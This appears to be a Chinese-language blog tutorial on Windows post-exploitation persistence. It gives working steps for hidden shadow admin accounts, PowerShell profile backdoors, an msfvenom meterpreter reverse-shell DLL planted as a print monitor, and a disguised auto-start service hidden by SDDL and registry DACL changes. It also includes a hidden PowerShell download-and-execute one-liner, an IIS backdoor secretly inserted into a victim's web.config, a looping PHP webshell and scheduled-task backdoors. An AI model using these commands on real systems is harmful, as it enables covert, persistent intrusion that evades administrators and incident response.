登录后台

已禁止登录!

页面导航

介绍

权限维持是一项必要且需要得技巧,当在外网中打点后,需要保证点的持久性,使团队能够专注于目标,而不会失去指挥和控制服务器的通信。




开启权限维持之路

1.影子账号

(1)可以在后面添加$符来隐藏

2023-02-14T08:32:08.png

(2)但是可以在本地用户和组看到
2023-02-16T08:10:18.png

(3)怎么两个都看不到
打开注册表regedit
\HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
下面的admin 对应的值
2023-02-16T08:15:07.png

(4)点f值完全复制
2023-02-16T08:17:10.png

(5)点刚刚创建的影子账号
2023-02-16T08:19:02.png

(6)f值 粘贴 确定
2023-02-16T08:19:57.png

(7)然后右键导出
2023-02-16T08:21:30.png

(8)保存为1
2023-02-16T08:22:18.png

(9)再导出它的用户名
2023-02-16T08:23:07.png

(10)保存为2
2023-02-16T08:23:34.png

(11)接着把super$这个影子账户删掉
2023-02-16T08:25:15.png

(12)接着双击1 是
2023-02-16T08:27:06.png

(13)双击2 是
2023-02-16T08:27:37.png

(14)此时命令行和图形化都没有 只有注册表有
2023-02-16T08:28:58.png

(15)登录super$影子账号 显示的是administrator的权限
2023-02-16T08:55:28.png

2.开机启动项

开关机启动项可以做个bat脚本添加账户,或者是cs的文件不落地脚本

新建脚本->本地策略组->windows设置->脚本(启动/关机)

2023-02-16T09:06:52.png

2023-02-16T09:05:47.png

3.powershell后门

(1)打开powershell 一次粘贴以下 一句都不能少 路径就是你自己脚本的路径

echo $profile
Test-path $profile
New-Item -Path $profile -Type File -Force
$string = 'Start-Process "C:\1.bat"'
$string | Out-File -FilePath $profile -Append
more $profile

2023-02-16T09:19:01.png

(2)下一次启动powershell的时候就会启动这个脚本
powershell.gif

(3)可以看到有个黑框框一闪而过 就是脚本执行了

4.Monitor权限维持

采取白+黑的模式:

(1)白是什么,就是
monitor.exe 这个是杀毒软件杀不出来的

2023-03-07T13:14:09.png

项目地址:

https://github.com/AL1EX/Monitor

可以自行编译,如果不编译用它自己的就要把文件名改成它默认的test.dll

2023-03-07T12:50:47.png

(2)黑是什么,就是我们生成的恶意的dll文件
(3)kali生成攻击载荷

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.152.131 LPORT=4444 -f dll > shell.dll

2023-03-07T13:27:49.png

(4)改名字后放到system32文件夹下,为什么放到这个下面,因为这样就是以system权限调用,连提权都不用了
2023-03-07T13:40:37.png

2023-03-07T13:43:05.png

(5)防火墙是开着的,启动
2023-03-07T13:45:31.png

(6)来到kali可以看到是最高权限
2023-03-07T13:46:13.png

(7)为了实现持久性,我们需要在"Monitors"注册表位置下设置一个key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors

(8)之后在命令行下执行以下命令创建一个注册表项,该注册表项将包含值test.dll,从编辑器中查看注册表验证密钥是否已创建:

reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "test.dll" /t REG_SZ

regedit.png

(9)下次重新启动时,spoolsv.exe进程将加载Monitors注册表项中存在并存储在Windows文件夹System32中的所有驱动程序DLL文件

5.安全描述符隐藏服务后门

(1)首先生成一个木马

2023-03-07T14:21:58.png

(2)受害机器执行命令

sc create ".NET CLR Networking 3.5.0.0" binpath= "cmd.exe /k C:\Users\administrator\shell.exe" depend= Tcpip obj= Localsystem start= auto

(3)要改的只有路径和马子名称,当然服务名也可以改,主要起混淆作用
执行

2023-03-07T14:31:26.png

(4)怎么看成不成功呢

sc query ".NET CLR Networking 3.5.0.0"

2023-03-07T14:33:00.png

(5)也可以任务管理器看,在服务里
2023-03-07T14:34:31.png

(6)去kali监听
2023-03-07T14:35:21.png

(7)服务器重新启动,能上线
2023-03-07T14:36:33.png

(8)但是这样有个弊端,就是在服务里面可以看到
2023-03-07T14:38:07.png

(9)我们可以做到一个完全隐藏,windows中的安全对象都使用SDDL字符串来表示访问对象对于安全对象的权限,服务自然也存在SDDL,并且sc命令中可以设置SDDL。通过更改SDDL可以修改服务的各种权限来隐藏服务:

sc sdset ".NET CLR Networking 3.5.0.0" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

2023-03-07T14:50:00.png

(10)可以看到已经看不见了
2023-03-07T14:51:08.png

(11)通过命令行也看不到了,显示拒绝访问
(12)但是!还有一个地方可以看到,对就是注册表
2023-03-07T14:55:21.png

连执行什么命令都能看得到
(13)那有没有什么方法连注册表都隐藏呢,有的
(14)我们可以通过修改注册表的DACL来拒绝对值的查询,达到隐藏异常值的效果
<1>.在vps上部署一个可以修改的ps1脚本:
2023-03-07T15:35:53.png

function Server-Sddl-Change{
[CmdletBinding()]
    param
    (
        [parameter(Mandatory=$false)][String]$Name
    )
$ROOT = "HKLM:\SYSTEM\CurrentControlSet\Services\"
$S = $ROOT+$NAME
$acl = Get-Acl $S
$acl.SetAccessRuleProtection($true, $false)

$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"QueryValues"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Deny"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)

$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"SetValue,CreateSubKey,EnumerateSubKeys,Notify,CreateLink,Delete,ReadPermissions,WriteKey,ExecuteKey,ReadKey,ChangePermissions,TakeOwnership"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)

Set-Acl $S $acl
}

<2>.加载ps1脚本:

powershell.exe -exec bypass -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://xxx:8000/s.ps1'));Server-Sddl-Change -Name '.NET CLR Networking 3.5.0.0'"

2023-03-07T15:21:26.png

(15)可以看到已经和其他服务一样了,空落落的
2023-03-07T15:32:38.png

(16)那做应急应该怎么找,执行以下命令

Compare-Object -ReferenceObject (Get-Service | Select-Object -ExpandProperty Name | % { $_ -replace "_[0-9a-f]{2,8}$" } ) -DifferenceObject (gci -path hklm:\system\currentcontrolset\services | % { $_.Name -Replace "HKEY_LOCAL_MACHINE\\","HKLM:\" } | ? { Get-ItemProperty -Path "$_" -name objectname -erroraction 'ignore' } | % { $_.substring(40) }) -PassThru | ?{$_.sideIndicator -eq "=>"}

2023-03-07T15:35:08.png

(17)找到那个隐藏的删掉就好了

6.windows隐藏文件

(1)正常我们可以右键属性->隐藏,但是这样在查看里勾上隐藏的项目后还能看到

2023-03-08T01:54:37.png

(2)一种方法,把他改为系统文件

attrib +s +a +h +r shell.exe

2023-03-08T01:58:47.png

(3)一般不会有管理员关掉这个,点击查看->选项->查看->隐藏受保护的操作系统文件勾去掉
2023-03-08T02:37:32.png

7.驱动隐藏文件

(1)下载完以后需要安装

https://xoslab.com/efl.html

2023-03-08T02:41:06.png

2023-03-08T02:43:04.png

(2)拖到这个里面就可以隐藏了
2023-03-08T02:47:43.png

(3)只有删除这个驱动的时候才能显示出来
2023-03-08T02:50:18.png

8..net后门权限维持

(1)像一些网址它是asp的,是用c#写的,想这种肯定是iis,我们就是要用iis组件来留后门
后门网址:

https://github.com/wbglil/iis_backdoor

<1>.打开后门的web.config文件
<2>.复制内容到受害者网站目录下的web.config文件中间,不要把人家原本的删了,偷偷插到里面去
<3>.然后把dll文件复制到受害者的bin目录下

2023-03-08T03:46:40.png

2023-03-08T03:48:39.png

(2)之后打开exe文件就可以执行命令了
2023-03-08T03:53:55.png

9.webshell不死马

webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制web服务器的一类内存马,其瞄准了企业的对外窗口:网站、应用。但传统的webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。而内存攻击正是利用软件安全漏洞,构造恶意输入导致软件在处理输入数据时出现非预期错误,将输入数据写入内存中的某些特定敏感位置,从而劫持软件控制流、执行流,转而执行外部输入的代码指令,造成目标系统被获取远程控制,让内存马的攻击得以实现。

<?php
    ignore_user_abort();//关掉浏览器,PHP脚本也可以继续执行。
    set_time_limit(0);//通过set_time_limit(0)可以让程序无限的执行下去
    $interval = 5;//每隔5秒运行
    do{
        $filename = 'test.php';
        if(file_exists($filename)){
        echo "xxx";
        }else{
            $file = fopen("test.php","w");
            $txt = "\n";
            fwrite($file, $txt);
            fclose($file);
            }
        sleep($interval);
        } while(true);
?>

(1)访问以后会一直转圈圈

2023-03-08T07:10:32.png

(2)服务器里就会一直生成test.php
neicunma.gif

(3)其实已经注入到进程中去了
2023-03-08T07:22:37.png

(4)只有停止中间件才能删掉木马

10.计划任务后门

老生常谈了
(1)命令行界面操作:

schtasks /create /tn "My App" /tr C:appsmyapp.exe /sc monthly /d 1 /ru "System"
每月的第一天用system权限执行该文件
schtasks /create /tn testschtask /tr D:\test.py /sc DAILY /st 1 13:00:00
每天13点执行该文件

(2)删除任务:

schtasks /delete /tn "22222" -f    -- f代表不提示告警信息直接删除

(3)查看任务:

schtasks /query /fo LIST /v    -- /v详细列表模式

(4)还有就是到计划任务程序里,找一个比较深的地方设置触发器,新建操作

2023-03-08T07:38:38.png

2023-03-08T07:39:21.png